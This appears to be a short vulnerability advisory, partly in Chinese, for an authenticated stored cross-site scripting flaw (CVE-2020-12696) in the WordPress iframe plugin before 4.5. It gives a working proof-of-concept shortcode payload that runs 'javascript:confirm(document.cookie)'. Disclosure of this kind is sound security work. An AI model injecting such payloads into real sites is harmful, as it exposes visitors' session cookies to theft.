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Iframe < 4.5 - 已验证的存储型跨站脚本（XSS）
iframe 插件 4.5 之前版本未能对 URL 进行清理。
Payload: </b>[iframe src="javascript:confirm(document.cookie)" width="100%" height="500"]
Version [plugin]: </b>4.4
Tested on: </b>WordPress 5.2.4
Researcher:</b> Guilherme Rubert
参考资料:
https://guilhermerubert.com/blog/cve-2020-12696/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12696
https://wordpress.org/plugins/iframe/#developers